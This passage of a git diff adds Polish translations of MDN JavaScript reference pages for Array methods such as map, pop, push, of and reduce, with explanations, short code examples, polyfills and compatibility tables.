+// index is -1
+index = array.lastIndexOf(2, 3);
+// index is 3
+index = array.lastIndexOf(2, 2);
+// index is 0
+index = array.lastIndexOf(2, -2);
+// index is 0
+index = array.lastIndexOf(2, -1);
+// index is 3
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_danego_elementu" name="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_danego_elementu">Przykład: Wyszukiwanie wszystkich wystąpień danego elementu</h3>
+
+<p>Poniższy przykład używa <code>lastIndexOf</code> do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/push">push</a></code>.</p>
+
+<pre class="brush: js">indices = [];
+idx = array.lastIndexOf(element)
+while (idx != -1) {
+ indices.push(idx);
+ idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+</pre>
+
+<p>Warto zauważyć, że obsłużyliśmy warunek <code>idx == 0</code> oddzielnie, ponieważ element ten zostanie zawsze odnaleziony - bez względu na wartość parametru <code>fromIndex</code> - w przypadku gdy jest on pierwszym elementem tablicy. To różni tę metodę od metody {{jsxref("Array.prototype.indexOf()")}}.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/length/index.html b/files/pl/web/javascript/referencje/obiekty/array/length/index.html
new file mode 100644
index 0000000000..0ce2bbde35
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/length/index.html
@@ -0,0 +1,53 @@
+---
+title: Array.prototype.length
+slug: Web/JavaScript/Referencje/Obiekty/Array/length
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>32-bitowa liczba całkowita bez znaku określająca liczbę elementów w tablicy.</p>
+
+<div>{{js_property_attributes(1, 0, 0)}}</div>
+
+<div>
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.length</code></pre>
+</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartością własności <code>length</code> jest dodatnia liczba całkowita mniejsza niż 2 do potęgi 32 (2<sup>32</sup>).</p>
+
+<p>W dowolnej chwili możesz ustalić wartość <code>length</code> w celu zmniejszenia rozmiaru tablicy. Ustawienie wartości <code>length</code> na większą niż rozmiar tablicy nie zwiększy liczby elementów, np. jeżeli ustawisz <code>length</code> na 3, podczas gdy obecną wartością jest liczba 2, tablica nadal będzie zawierać tylko 2 elementy.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Iteracja_przez_wszystkie_elementy_tablicy" name="Przyk.C5.82ad:_Iteracja_przez_wszystkie_elementy_tablicy">Przykład: Iteracja przez wszystkie elementy tablicy</h3>
+
+<p>W poniższym przykładzie ilość elementów w tablicy <code>numbers</code> jest określana w instrukcji iteracyjnej na podstawie wartości <code>length</code>, następnie wartość każdego elementu jest podwajana.</p>
+
+<pre class="brush: js">var numbers = [1,2,3,4,5];
+for (var i = 0; i &lt; numbers.length; i++) {
+ numbers[i] *= 2;
+}
+// zawartość tablicy to teraz [2,4,6,8,10];
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Skracanie_tablicy" name="Przyk.C5.82ad:_Skracanie_tablicy">Przykład: Skracanie tablicy</h3>
+
+<p>Poniższy przykład zmniejsza rozmiar tablicy <code>statesUS</code> do 50, jeżeli przekracza on tę wartość.</p>
+
+<pre class="brush: js">if (statesUS.length &gt; 50) {
+ statesUS.length=50
+}
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/map/index.html b/files/pl/web/javascript/referencje/obiekty/array/map/index.html
new file mode 100644
index 0000000000..2b25e7f1cd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/map/index.html
@@ -0,0 +1,93 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Referencje/Obiekty/Array/map
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>map()</strong></code> tworzy nową tablicę zawierającą wyniki wywoływania podanej funkcji dla każdego elementu wywołującej tablicy.</p>
+
+<pre class="brush: js">var liczby = [1, 5, 10, 15];
+var podwojenia = liczby.map(function(x) {
+  return x * 2;
+});
+// podwojenia to teraz [2, 10, 20, 30]
+// liczby to dalej [1, 5, 10, 15]
+
+var liczby = [1, 4, 9];
+var pierwiastki = liczby.map(Math.sqrt);
+// pierwiastki to teraz [1, 2, 3]
+// liczby to dalej [1, 4, 9]
+</pre>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>var new_array = arr</var>.map(<var>function callback(currentValue, index, array){ // Zwróć element nowej tablicy }</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><strong>callback</strong></code></dt>
+ <dd>Funkcja tworząca element nowej tablicy, przyjmująca trzy argumenty:</dd>
+ <dd>
+ <dl>
+ <dt><code><strong>currentValue</strong></code></dt>
+ <dd>Element tablicy nad którym obecnie pracujemy</dd>
+ <dt><code><strong>index</strong></code></dt>
+ <dd>Indeks elementu tablicy nad którym obecnie pracujemy</dd>
+ <dt><code><strong>array</strong></code></dt>
+ <dd>Oryginalna tablica na rzecz której wywołano metodę <code>map</code></dd>
+ </dl>
+ </dd>
+ <dt><code><strong>thisArg</strong></code></dt>
+ <dd>Opcjonalny. Wartość jaką użyć jako <code>this</code> podczas wywołania <code>callback</code></dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowa tablica zawierająca elementy będące wynikami wywoływani funkcji <code>callback</code>.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>map</code> wykonuje funkcję (<code>callback</code>) raz na każdym z elementów tablicy w kolejności i tworzy nową tablicę na podstawie wyników. <code>callback</code> wywoływany jest tylko dla indeksów tablicy które mają przypisane wartości, włącznie z <a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/undefined">undefined</a>. Nie jest wywoływany dla brakujących elementów tablicy (indeksów które nigdy nie były ustawione, usunięte lub nie miały nigdy przypisanych wartości).</p>
+
+<p><code>callback</code> wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i tablicą która jest trawersowana.</p>
+
+<p>W przypadku podania argumentu <code>thisObject</code>, zostanie on przekazany jako <code>this</code> przy każdym wywołaniu <code>callback</code>. Gdy go brak, lub ma wartość <code>null</code>, użyty zostanie obiekt globalny przyporządkowany do <code>callback</code>.</p>
+
+<p><code>map</code> nie modyfikuje tablicy, na której jest wywołany.</p>
+
+<p>Zakres elementów przetwarzanych przez <code>map</code> ustalany jest przed pierwszym wywołaniem <code>callback</code>. Elementy dodane do tablicy po wywołaniu <code>map</code> nie zostaną odwiedzone przez <code>callback</code>. Jeśli istniejący, element tablicy zostanie zmieniony lub usunięty, wartością przekazaną do <code>callback</code> będzie wartość z momentu w którym <code>map</code> odwiedza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako <code>undefined</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Wielkie_litery_.C5.82a.C5.84cuch.C3.B3w_w_tablicy" name="Przyk.C5.82ad:_Wielkie_litery_.C5.82a.C5.84cuch.C3.B3w_w_tablicy">Wielkie litery łańcuchów w tablicy</h3>
+
+<p>Poniższy kod tworzy nową tablicę zawierającą pisaną wielkimi literami wersję wszystkich oryginalnych łańcuchów.</p>
+
+<pre class="brush: js">var strings = ["hello", "Array", "WORLD"];
+function makeUpperCase(v)
+{
+ return v.toUpperCase();
+}
+var uppers = strings.map(makeUpperCase);
+// uppers są teraz pisane wielkimi literami ["HELLO", "ARRAY", "WORLD"]
+// strings są niezmienione
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Mapowanie_tablicy_liczb_do_tablicy_pierwiastk.C3.B3w_kwadratowych" name="Przyk.C5.82ad:_Mapowanie_tablicy_liczb_do_tablicy_pierwiastk.C3.B3w_kwadratowych">Mapowanie tablicy liczb do tablicy pierwiastków kwadratowych</h3>
+
+<p>Poniższy kod pobiera tablicę liczb i tworzy nową tablicę z pierwiastkami kwadratowymi liczb z pierwszej tablicy.</p>
+
+<pre class="brush: js">var liczby = [1, 4, 9];
+var pierwiastki = liczby.map(Math.sqrt);
+// otrzymane pierwiastki [1, 2, 3]
+// pozostające nadal liczby [1, 4, 9]
+</pre>
+
+<p> </p>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/of/index.html b/files/pl/web/javascript/referencje/obiekty/array/of/index.html
new file mode 100644
index 0000000000..74c9974bd0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/of/index.html
@@ -0,0 +1,92 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Referencje/Obiekty/Array/of
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Metoda </span></font><strong>Array.of()</strong></code> tworzy nową instancję obiektu <code>Array</code>, która zawiera w sobie wszystkie argumenty przekazane do funkcji, niezależnie od ich liczby i typu.</p>
+
+<p>Różnica pomiędzy <code><strong>Array.of()</strong></code> i konstruktorem <code><strong>Array</strong></code> polega na różnej interpretacji argumentów - <code><strong>Array.of(7)</strong></code> tworzy nową tablicę z jednym elementem(<code>7</code>), gdzie <code><strong>Array(7)</strong></code> tworzy nową tablicę z właściwością <code>length</code> ustawioną na 7 (<strong>Notatka:</strong> Oznacza to tablicę z <code>7</code> wolnymi miejscami, nie miejscami z wartościami <code>undefined</code>).</p>
+
+<pre class="brush: js">Array.of(7); // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7); // [ , , , , , , ]
+Array(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Elementy, które tworzą tablicę.</dd>
+</dl>
+
+<h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+<p>Nowa instancja obiektu {{jsxref("Array")}}.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Ta funkcja jest częścią standardu ECMAScript 2015. Po więcej informacji zobacz <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> and <code>Array.from</code> proposal</a> i <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> polyfill</a>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">Array.of(1); // [1]
+Array.of(1, 2, 3); // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Uruchomienie tego kodu przed innym stworzy <code>Array.of()</code> nawet jeśli nie jest ona dostępna natywnie.</p>
+
+<pre class="brush: js">if (!Array.of) {
+ Array.of = function() {
+ return Array.prototype.slice.call(arguments);
+ };
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/pop/index.html b/files/pl/web/javascript/referencje/obiekty/array/pop/index.html
new file mode 100644
index 0000000000..2b7483dbd7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/pop/index.html
@@ -0,0 +1,138 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Referencje/Obiekty/Array/pop
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Metodă
+ - Prototype
+ - Tablica
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Usuwa ostatni element z tablicy zwracając go. Metoda ta zmienia długość tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.pop()</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Ostatni element tablicy;<br>
+ Jeśli tablica jest pusta zwraca {{jsxref("undefined")}}</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda pop usuwa ostatni element tablicy i zwraca tę wartość.</p>
+
+<p><code>pop</code> is intentionally generic. Metoda ta może być {{jsxref("Function.call", "called", "", 1)}} lub {{jsxref("Function.apply", "applied", "", 1)}} do obiektu przypominającego tablice. Obiekty, które nie posiadają właściwości <code>length</code> odzwierciedlającej ostani element w serii, przy właściwościach liczonych od zera nie mogą zachowywać się w żaden znaczący sposób.</p>
+
+<p>Jeśli zawołasz  <code>pop()</code> na pustej tablicy, zwróci ona {{jsxref("undefined")}}.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<h3 id="Przyk.C5.82ad:_Usuwanie_ostatniego_elementu_tablicy" name="Przyk.C5.82ad:_Usuwanie_ostatniego_elementu_tablicy">Przykład: Usuwanie ostatniego elementu tablicy</h3>
+
+<p>Następujący kod tworzy tablicę <code>myFish</code> zawierającą cztery elementy, a następnie usuwa ostatni jej element.</p>
+
+<pre><code>var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+console.log(myFish); // ['angel', 'clown', 'mandarin', 'sturgeon']
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'</code></pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("1.0")}}</td>
+ <td>{{CompatGeckoDesktop("1.7")}}</td>
+ <td>{{CompatIE("5.5")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html
new file mode 100644
index 0000000000..94cbd2b287
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html
@@ -0,0 +1,12 @@
+---
+title: Array.prototype
+slug: Web/JavaScript/Referencje/Obiekty/Array/prototype
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Reprezentuje prototyp tego obiektu. Pozwala na dodawanie własności lub metod do wszystkich instancji obiektu. Zobacz {{jsxref("Object.prototype")}}, aby uzyskać więcej informacji.</p>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/push/index.html b/files/pl/web/javascript/referencje/obiekty/array/push/index.html
new file mode 100644
index 0000000000..92bf342cda
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/push/index.html
@@ -0,0 +1,51 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Referencje/Obiekty/Array/push
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Dodaje jeden lub więcej elementów na koniec tablicy i zwraca jej nową długość. Metoda ta zmienia długość tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1</var>, ..., <var>elementN</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>element
+ <i>N</i>
+ </code> </dt>
+ <dd>Elementy dodawane na końcu tablicy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Zachowanie metody <code>push</code> jest analogiczne do funkcji <code>push</code> w języku Perl 4. Uwaga: jej zachowanie różni się w języku Perl 5.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy" name="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy">Przykład: Dodawanie elementów do tablicy</h3>
+
+<p>Następujący kod tworzy tablicę <code>myFish</code> zawierającą dwa elementy, następnie dodaje do niej dwa kolejne. Po wykonaniu kodu, <code>pushed</code> zawiera wartość 4 (w JavaScript 1.2 po wykonaniu kodu zmienna <code>pushed</code> zawiera wartość "lew").</p>
+
+<pre class="brush: js">myFish = ["anioł", "klaun"];
+pushed = myFish.push("bęben", "lew");
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html b/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html
new file mode 100644
index 0000000000..8699a308c5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html
@@ -0,0 +1,300 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Referencje/Obiekty/Array/Reduce
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Metoda </font><strong>reduce()</strong></code> wywołuje funkcję względem wartości przyrostowej z każdego wywołania i kolejnego elementu tablicy (od lewej do prawej) w celu sprowadzenia tej tablicy do pojedynczej wartości.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr.reduce(callback(accumulator, currentValue[, index[, array]])[, initialValue])</var></code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja wykonywana na każdej wartości w tablicy, przyjmuje cztery argumenty:
+ <dl>
+ <dt><code>previousValue</code></dt>
+ <dt></dt>
+ <dd>Wartość zwróconą w ostatnim wywołaniu funkcji <code>callback</code>, lub <code>initialValue</code>, jeśli ta została dostarczona. (Patrz niżej.)</dd>
+ <dt><code>currentValue</code></dt>
+ <dd>Obecnie przetwarzany element w tablicy.</dd>
+ <dt><code>index</code></dt>
+ <dd>Indeks w tablicy obecnie przetwarzanego elementu.</dd>
+ <dt><code>array</code></dt>
+ <dd>Tablica, na której została wykonana funkcja <code>reduce</code> .</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code></dt>
+ <dd>Opcjonalne. Obiekt który będzie użyty jako pierwszy argument pierwszego wywołania funkcji <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p><code>reduce</code> wykonuje funkcję <code>callback</code> raz dla każdego elementu występującego w tablicy, wyłączając dziury. Funkcja <code>callback</code> przyjmuje cztery argumenty: wartość początkową (lub wartość poprzedniego wywołania <code>callback)</code>, wartość obecnego elementu, jego indeks, oraz tablicę na której zachodzi proces iteracji.</p>
+
+<p>Przy pierwszym wywołaniu funkcji <code>callback, previousValue</code> oraz <code>currentValue</code> mogą przyjąć jedną z dwóch wartości. Jeżeli <code>initialValue</code> było dostarczone w wywołaniu, wtedy <code>previousValue</code> przyjmie wartość podaną jako <code>initialValue</code>, natomiast <code>currentValue</code> przyjmie wartość pierwszego elementu tablicy. Jeśli <code>initialValue</code> nie było podane, wtedy <code>previousValue</code> będzie miało wartość pierwszego elementu tablicy, natomiast <code>currentValue</code> będzie równe elementowi drugiemu.</p>
+
+<p>Jeżeli tablica jest pusta oraz <code>initialValue</code> nie zostało dostarczone, będzie rzucony błąd {{jsxref("Global_Objects/TypeError", "TypeError")}}. Jeśli natomiast tablica ma jeden tylko element (bez względu na jego pozycję) i <code>initialValue</code> nie zostało podane, lub dostarczono <code>initialValue</code>, ale tablica jest pusta, wtedy ta jedyna wartość zostanie zwrócona, bez wywoływania funkcji <code>callback</code>.</p>
+
+<p>Przyjmijmy, że wystąpiło następujące wywolanie funkcji <code>reduce</code>:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
+ return previousValue + currentValue;
+});
+</pre>
+
+<p>Funkcja callback będzie wywołana cztery razy, z argumentami i wartościami zwrotnymi przy każdym wołaniu jak następuje:</p>
+
+<table style="width: 100%;">
+ <thead>
+ <tr>
+ <th scope="col"></th>
+ <th scope="col"><code>previousValue</code></th>
+ <th scope="col"><code>currentValue</code></th>
+ <th scope="col"><code>index</code></th>
+ <th scope="col"><code>array</code></th>
+ <th scope="col">wartość zwracana</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">pierwsze wywołanie</th>
+ <td><code>0</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">drugie wywołanie</th>
+ <td><code>1</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>3</code></td>
+ </tr>
+ <tr>
+ <th scope="row">trzecie wywołanie</th>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>6</code></td>
+ </tr>
+ <tr>
+ <th scope="row">czwarte wywołanie</th>
+ <td><code>6</code></td>
+ <td><code>4</code></td>
+ <td><code>4</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Wartość zwrócona ostatecznie przez <code>reduce</code> będzie tą z ostatniego wywołania funcji callback (<code>10</code>).</p>
+
+<p>Natomiast, jeśli dostarczylibyśmy wartość początkową jako drugi argument funkcji przekazanej do <code>reduce</code>, wynik wyglądałby jak poniżej:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
+ return previousValue + currentValue;
+}, 10);
+</pre>
+
+<table style="width: 100%;">
+ <thead>
+ <tr>
+ <th scope="col"></th>
+ <th scope="col"><code>previousValue</code></th>
+ <th scope="col"><code>currentValue</code></th>
+ <th scope="col"><code>index</code></th>
+ <th scope="col"><code>array</code></th>
+ <th scope="col">wartość zwracana</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">pierwsze wywołanie</th>
+ <td><code>10</code></td>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <th scope="row">drugie wywołanie</th>
+ <td><code>10</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>11</code></td>
+ </tr>
+ <tr>
+ <th scope="row">trzecie wywołanie</th>
+ <td><code>11</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>13</code></td>
+ </tr>
+ <tr>
+ <th scope="row">czwarte wywołanie</th>
+ <td><code>13</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>16</code></td>
+ </tr>
+ <tr>
+ <th scope="row">piąte wywołanie</th>
+ <td><code>16</code></td>
+ <td><code>4</code></td>
+ <td><code>4</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>20</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Tym razem wartość zwrócona przez <code>reduce</code> będzie wynosiła <code>20</code>.</p>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<h3 id="Example_Sum_up_all_values_within_an_array" name="Example:_Sum_up_all_values_within_an_array">Przykład: Zsumowanie wszystkich wartości w tablicy.</h3>
+
+<pre class="brush: js">var total = [0, 1, 2, 3].reduce(function(a, b) {
+ return a + b;
+});
+// total == 6
+</pre>
+
+<h3 id="Example_Flatten_an_array_of_arrays" name="Example:_Flatten_an_array_of_arrays">Przykład: Spłaszczenie tablicy tablic</h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
+ return a.concat(b);
+});
+// flattened is [0, 1, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p><code>Array.prototype.reduce</code> zostało dodane do standardu ECMA-262 w edycji piątej i jako takie może nie występować we wszystkich implementacji standardu. Można obejśc ten brak poprzez wstawienie poniższego kodu na początku skryptu, co pozwala na użycie <code>reduce</code> z implementacjami, które nie wspierają tej funkcji.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.21
+// Reference: http://es5.github.io/#x15.4.4.21
+if (!Array.prototype.reduce) {
+ Array.prototype.reduce = function(callback /*, initialValue*/) {
+ 'use strict';
+ if (this == null) {
+ throw new TypeError('Array.prototype.reduce called on null or undefined');
+ }
+ if (typeof callback !== 'function') {
+ throw new TypeError(callback + ' is not a function');
+ }
